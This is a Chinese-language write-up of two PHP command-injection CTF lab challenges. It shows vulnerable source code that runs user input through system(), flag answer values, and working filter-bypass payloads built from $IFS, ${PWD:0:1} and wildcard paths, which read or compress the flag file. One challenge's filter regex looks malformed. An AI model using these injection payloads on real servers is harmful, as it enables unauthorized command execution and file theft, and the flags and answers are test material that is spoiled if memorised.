[题目信息]:
题目名称 | 题目难度 |
---|---|
NoNumberFile(环境变量利用) | 2 |
[题目考点]:
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
以下是可能会造成任意命令执行的函数
system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert
[Flag格式]:
SangFor{rMU4PSrW6Uu-m1CS5TCqEvCOhD8NShzo}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:5018
[题目writeup]:
1、实验主页
2、代码分析
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
//flag in /flag
highlight_file(__FILE__);
$cmd=$_GET['cmd'];
$str1='/';
$str2='.';
$str3='|';
$str4=' ';
$str5='&';
$str5='@';
$str6='!';
$str7='+';
$str8='>';
$str9='(';
$str10='\\';
$str11='^';
$str12='cd';
if((strstr($cmd,$str1)) || (strstr($cmd,$str2)) || (strstr($cmd,$str3)) || (strstr($cmd,$str4)) || (strstr($cmd,$str5)) || (strstr($cmd,$str6)) || (strstr($cmd,$str7)) || (strstr($cmd,$str8))|| (strstr($cmd,$str9))|| (strstr($cmd,$str10))|| (strstr($cmd,$str11)) ||(strstr($cmd,$str12))){
exit("quit!!!!");
}
if (!empty($cmd)){
echo "<pre>";
echo $cmd;
system($cmd);
echo "<pre>";
}else{
echo "</br>Please enter the Command! </br>";
}
?>
代码较长,主要分析核心代码;
- 用户通过get方式传递参数值
- 提示flag位于"/flag",但禁用了两个关键符号,"/",以及".";
- 如果通过waf后,会执行system()函数;
其他大多数绕过方式我们已经接触过了,例如本题目禁用得空格符号,我们可以使用$IFS9、{IFS}、>等进行绕过;那么对于/符号该如何绕过呢;
内置环境变量利用
$PWD 是个系统变量
pwd 是linux 自带的命令. 全称: pathname of the current working directory.
从图中可以看出,${PWD:0:1}类似sql语句中mid,substr等截断函数,"0"表示截取位置为第一个字符,"1"表示截取长度为1;
${PWD:0:1} <==> "/"
payload
先执行
?cmd=cat$IFS$9${PWD%3a0%3a1}flag
[题目信息]:
题目名称 | 题目难度 |
---|---|
代码执行-NoNumberWord | 2 |
[题目考点]:
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
以下是可能会造成任意命令执行的函数
system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert
[Flag格式]:
SangFor{VL05gZqwon2F3F7TMk7akkjdnN1kpTEE}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:5017
flag位于/var/www/html/flag.php
bz2
[题目writeup]:
1、实验主页
2、使用dirsearch扫描网站目录
python dirsearch.py -u http://分配ip/ -e php -t 20
flag.php文件存在。
3、代码分析
<?php
// flag in flag.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]||[A-Z]6|4|\`|\%|\x26|\>|\<|@/i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
过滤各类字符、以及字母;但未过滤数字。
使用Linux通配符,匹配bz2命令压缩flag.php文件,然后通过浏览器下载bz2文件;
bzip2 是一个非常有名的压缩工具,并且在大多数主流 Linux 发行版上都有;
使用通配符匹配/bin/bzip2,使用/???/???/???/???.???匹配/var/www/html/flag.php文件
payload
先执行
?c=/???/????2 /???/???/????/????.???
然后执行,下载php.bz2压缩包;
ip:5017/flag.php.bz2